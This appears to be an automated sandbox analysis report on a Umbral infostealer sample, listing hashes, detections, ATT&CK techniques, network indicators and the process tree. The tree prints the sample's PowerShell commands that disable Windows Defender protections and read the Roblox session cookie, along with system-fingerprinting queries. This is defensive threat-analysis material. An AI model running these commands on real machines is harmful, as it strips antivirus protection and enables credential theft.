umbral | 0697ab58f1b4c94620982f20ffc2e1069974a7f4c38c804e3a15a3d3f54a89d5

Analysis

max time kernel
121s
max time network
122s
platform
windows7_x64
resource
win7-20240221-en
resource tags

arch:x64arch:x86image:win7-20240221-enlocale:en-usos:windows7-x64system
submitted
30-06-2024 09:08

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General

Target

dllmain.exe
Size

229KB
MD5

411156b1cc6ca8a2722edb9a9bf15991
SHA1

93441490e31783317bb8b3c2e4a9d0916eb4674d
SHA256

0697ab58f1b4c94620982f20ffc2e1069974a7f4c38c804e3a15a3d3f54a89d5
SHA512

61609bbcf4b09a5feb0ba72b531687f73bb3ee1e12dd7bda6ab2a4b5caf33f39e91df7f200184b63039cd7eee2b6b95575a89f5f03850d4841861ca3f4e377b5
SSDEEP

6144:tloZMNrIkd8g+EtXHkv/iD4vW2mmkrHMl9YW3X241b8e1mik4i:voZmL+EP8vW2mmkrHMl9YW3X2MXkB

Score

10^/10

umbral execution spyware stealer

Malware Config

Signatures

Detect Umbral payload 1 IoCs

Processes:

resource yara_rule

behavioral1/memory/2252-1-0x00000000013D0000-0x0000000001410000-memory.dmp family_umbral
Umbral
Umbral stealer is an opensource moduler stealer written in C#.
stealer umbral
Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs
Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.
execution

PowerShell
T1059.001

Processes:

powershell.exe

pid process

2688 powershell.exe
Reads user/profile data of web browsers 2 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001
Legitimate hosting services abused for malware hosting/C2 1 TTPs 2 IoCs

Web Service
T1102

Processes:

flow ioc

8 discord.com
9 discord.com
Looks up external IP address via web service 1 IoCs
Uses a legitimate IP lookup service to find the infected system's external IP.

Processes:

flow ioc

6 ip-api.com
Detects videocard installed 1 TTPs 1 IoCs
Uses WMIC.exe to determine videocard installed.

System Information Discovery
T1082

Processes:

wmic.exe

pid process

1132 wmic.exe
Suspicious behavior: EnumeratesProcesses 5 IoCs

Processes:

powershell.exepowershell.exepowershell.exepowershell.exepowershell.exe

pid process

2688 powershell.exe
2752 powershell.exe
2476 powershell.exe
1964 powershell.exe
540 powershell.exe

resource	yara_rule
behavioral1/memory/2252-1-0x00000000013D0000-0x0000000001410000-memory.dmp	family_umbral

pid	process
2688	powershell.exe

flow	ioc
8	discord.com
9	discord.com

flow	ioc
6	ip-api.com

pid	process
1132	wmic.exe

pid	process
2688	powershell.exe
2752	powershell.exe
2476	powershell.exe
1964	powershell.exe
540	powershell.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

Processes:

dllmain.exepowershell.exepowershell.exepowershell.exepowershell.exewmic.exewmic.exe

description	pid	process
Token: SeDebugPrivilege	2252	dllmain.exe
Token: SeDebugPrivilege	2688	powershell.exe
Token: SeDebugPrivilege	2752	powershell.exe
Token: SeDebugPrivilege	2476	powershell.exe
Token: SeDebugPrivilege	1964	powershell.exe
Token: SeIncreaseQuotaPrivilege	1892	wmic.exe
Token: SeSecurityPrivilege	1892	wmic.exe
Token: SeTakeOwnershipPrivilege	1892	wmic.exe
Token: SeLoadDriverPrivilege	1892	wmic.exe
Token: SeSystemProfilePrivilege	1892	wmic.exe
Token: SeSystemtimePrivilege	1892	wmic.exe
Token: SeProfSingleProcessPrivilege	1892	wmic.exe
Token: SeIncBasePriorityPrivilege	1892	wmic.exe
Token: SeCreatePagefilePrivilege	1892	wmic.exe
Token: SeBackupPrivilege	1892	wmic.exe
Token: SeRestorePrivilege	1892	wmic.exe
Token: SeShutdownPrivilege	1892	wmic.exe
Token: SeDebugPrivilege	1892	wmic.exe
Token: SeSystemEnvironmentPrivilege	1892	wmic.exe
Token: SeRemoteShutdownPrivilege	1892	wmic.exe
Token: SeUndockPrivilege	1892	wmic.exe
Token: SeManageVolumePrivilege	1892	wmic.exe
Token: 33	1892	wmic.exe
Token: 34	1892	wmic.exe
Token: 35	1892	wmic.exe
Token: SeIncreaseQuotaPrivilege	1892	wmic.exe
Token: SeSecurityPrivilege	1892	wmic.exe
Token: SeTakeOwnershipPrivilege	1892	wmic.exe
Token: SeLoadDriverPrivilege	1892	wmic.exe
Token: SeSystemProfilePrivilege	1892	wmic.exe
Token: SeSystemtimePrivilege	1892	wmic.exe
Token: SeProfSingleProcessPrivilege	1892	wmic.exe
Token: SeIncBasePriorityPrivilege	1892	wmic.exe
Token: SeCreatePagefilePrivilege	1892	wmic.exe
Token: SeBackupPrivilege	1892	wmic.exe
Token: SeRestorePrivilege	1892	wmic.exe
Token: SeShutdownPrivilege	1892	wmic.exe
Token: SeDebugPrivilege	1892	wmic.exe
Token: SeSystemEnvironmentPrivilege	1892	wmic.exe
Token: SeRemoteShutdownPrivilege	1892	wmic.exe
Token: SeUndockPrivilege	1892	wmic.exe
Token: SeManageVolumePrivilege	1892	wmic.exe
Token: 33	1892	wmic.exe
Token: 34	1892	wmic.exe
Token: 35	1892	wmic.exe
Token: SeIncreaseQuotaPrivilege	1744	wmic.exe
Token: SeSecurityPrivilege	1744	wmic.exe
Token: SeTakeOwnershipPrivilege	1744	wmic.exe
Token: SeLoadDriverPrivilege	1744	wmic.exe
Token: SeSystemProfilePrivilege	1744	wmic.exe
Token: SeSystemtimePrivilege	1744	wmic.exe
Token: SeProfSingleProcessPrivilege	1744	wmic.exe
Token: SeIncBasePriorityPrivilege	1744	wmic.exe
Token: SeCreatePagefilePrivilege	1744	wmic.exe
Token: SeBackupPrivilege	1744	wmic.exe
Token: SeRestorePrivilege	1744	wmic.exe
Token: SeShutdownPrivilege	1744	wmic.exe
Token: SeDebugPrivilege	1744	wmic.exe
Token: SeSystemEnvironmentPrivilege	1744	wmic.exe
Token: SeRemoteShutdownPrivilege	1744	wmic.exe
Token: SeUndockPrivilege	1744	wmic.exe
Token: SeManageVolumePrivilege	1744	wmic.exe
Token: 33	1744	wmic.exe
Token: 34	1744	wmic.exe

Suspicious use of WriteProcessMemory 27 IoCs

Processes:

dllmain.exe

description	pid	process	target process
PID 2252 wrote to memory of 2688	2252	dllmain.exe	powershell.exe
PID 2252 wrote to memory of 2688	2252	dllmain.exe	powershell.exe
PID 2252 wrote to memory of 2688	2252	dllmain.exe	powershell.exe
PID 2252 wrote to memory of 2752	2252	dllmain.exe	powershell.exe
PID 2252 wrote to memory of 2752	2252	dllmain.exe	powershell.exe
PID 2252 wrote to memory of 2752	2252	dllmain.exe	powershell.exe
PID 2252 wrote to memory of 2476	2252	dllmain.exe	powershell.exe
PID 2252 wrote to memory of 2476	2252	dllmain.exe	powershell.exe
PID 2252 wrote to memory of 2476	2252	dllmain.exe	powershell.exe
PID 2252 wrote to memory of 1964	2252	dllmain.exe	powershell.exe
PID 2252 wrote to memory of 1964	2252	dllmain.exe	powershell.exe
PID 2252 wrote to memory of 1964	2252	dllmain.exe	powershell.exe
PID 2252 wrote to memory of 1892	2252	dllmain.exe	wmic.exe
PID 2252 wrote to memory of 1892	2252	dllmain.exe	wmic.exe
PID 2252 wrote to memory of 1892	2252	dllmain.exe	wmic.exe
PID 2252 wrote to memory of 1744	2252	dllmain.exe	wmic.exe
PID 2252 wrote to memory of 1744	2252	dllmain.exe	wmic.exe
PID 2252 wrote to memory of 1744	2252	dllmain.exe	wmic.exe
PID 2252 wrote to memory of 2292	2252	dllmain.exe	wmic.exe
PID 2252 wrote to memory of 2292	2252	dllmain.exe	wmic.exe
PID 2252 wrote to memory of 2292	2252	dllmain.exe	wmic.exe
PID 2252 wrote to memory of 540	2252	dllmain.exe	powershell.exe
PID 2252 wrote to memory of 540	2252	dllmain.exe	powershell.exe
PID 2252 wrote to memory of 540	2252	dllmain.exe	powershell.exe
PID 2252 wrote to memory of 1132	2252	dllmain.exe	wmic.exe
PID 2252 wrote to memory of 1132	2252	dllmain.exe	wmic.exe
PID 2252 wrote to memory of 1132	2252	dllmain.exe	wmic.exe

C:\Users\Admin\AppData\Local\Temp\dllmain.exe
"C:\Users\Admin\AppData\Local\Temp\dllmain.exe"
1⤵
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:2252

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"powershell.exe" Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\dllmain.exe'
2⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:2688

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"powershell.exe" Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend && powershell Set-MpPreference -SubmitSamplesConsent 2
2⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:2752

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"powershell.exe" Get-ItemPropertyValue -Path HKCU:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY
2⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:2476

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"powershell.exe" Get-ItemPropertyValue -Path HKLN:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY
2⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:1964

C:\Windows\System32\Wbem\wmic.exe
"wmic.exe" os get Caption
2⤵
- Suspicious use of AdjustPrivilegeToken
PID:1892

C:\Windows\System32\Wbem\wmic.exe
"wmic.exe" computersystem get totalphysicalmemory
2⤵
- Suspicious use of AdjustPrivilegeToken
PID:1744

C:\Windows\System32\Wbem\wmic.exe
"wmic.exe" csproduct get uuid
2⤵
PID:2292

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"powershell.exe" Get-ItemPropertyValue -Path 'HKLM:System\CurrentControlSet\Control\Session Manager\Environment' -Name PROCESSOR_IDENTIFIER
2⤵
- Suspicious behavior: EnumeratesProcesses
PID:540

C:\Windows\System32\Wbem\wmic.exe
"wmic" path win32_VideoController get name
2⤵
- Detects videocard installed
PID:1132

Network

MITRE ATT&CK Matrix ATT&CK v13

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Downloads

C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms
Filesize
7KB

MD5
38f8610455057bc8027ef9effa9cc5dd

SHA1
3f6a7a0936b6b6d62e1a1e94053077bed6562ebd

SHA256
eee68bb973a51f51018289537fdd023109a5b25da23a706338424de1c473e5c2

SHA512
ad5c96dbb4e97defe51fb2d17d1a6eaef23fe2f8a170615715d60699b8d7f991e95d453aa5dafbdac304df3810d181f2ae059cd5428f2efb92cf32f69fc606f1

Download Submit
\??\PIPE\srvsvc
MD5
d41d8cd98f00b204e9800998ecf8427e

SHA1
da39a3ee5e6b4b0d3255bfef95601890afd80709

SHA256
e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855

SHA512
cf83e1357eefb8bdf1542850d66d8007d620e4050b5715dc83f4a921d36ce9ce47d0d13c5d85f2b0ff8318d2877eec2f63b931bd47417a81a538327af927da3e

Download Submit
memory/540-45-0x000000001B590000-0x000000001B872000-memory.dmp

Filesize
2.9MB

Download
memory/2252-1-0x00000000013D0000-0x0000000001410000-memory.dmp

Filesize
256KB

Download
memory/2252-2-0x000007FEF5C20000-0x000007FEF660C000-memory.dmp

Filesize
9.9MB

Download
memory/2252-49-0x000007FEF5C20000-0x000007FEF660C000-memory.dmp

Filesize
9.9MB

Download
memory/2252-0-0x000007FEF5C23000-0x000007FEF5C24000-memory.dmp

Filesize
4KB

Download
memory/2688-8-0x000000001B560000-0x000000001B842000-memory.dmp

Filesize
2.9MB

Download
memory/2688-11-0x000007FEEE760000-0x000007FEEF0FD000-memory.dmp

Filesize
9.6MB

Download
memory/2688-10-0x000007FEEE760000-0x000007FEEF0FD000-memory.dmp

Filesize
9.6MB

Download
memory/2688-14-0x000007FEEE760000-0x000007FEEF0FD000-memory.dmp

Filesize
9.6MB

Download
memory/2688-15-0x000007FEEE760000-0x000007FEEF0FD000-memory.dmp

Filesize
9.6MB

Download
memory/2688-12-0x000007FEEE760000-0x000007FEEF0FD000-memory.dmp

Filesize
9.6MB

Download
memory/2688-13-0x000007FEEE760000-0x000007FEEF0FD000-memory.dmp

Filesize
9.6MB

Download
memory/2688-9-0x0000000001D80000-0x0000000001D88000-memory.dmp

Filesize
32KB

Download
memory/2688-7-0x000007FEEEA1E000-0x000007FEEEA1F000-memory.dmp

Filesize
4KB

Download
memory/2752-21-0x000000001B690000-0x000000001B972000-memory.dmp

Filesize
2.9MB

Download
memory/2752-22-0x0000000002810000-0x0000000002818000-memory.dmp

Filesize
32KB

Download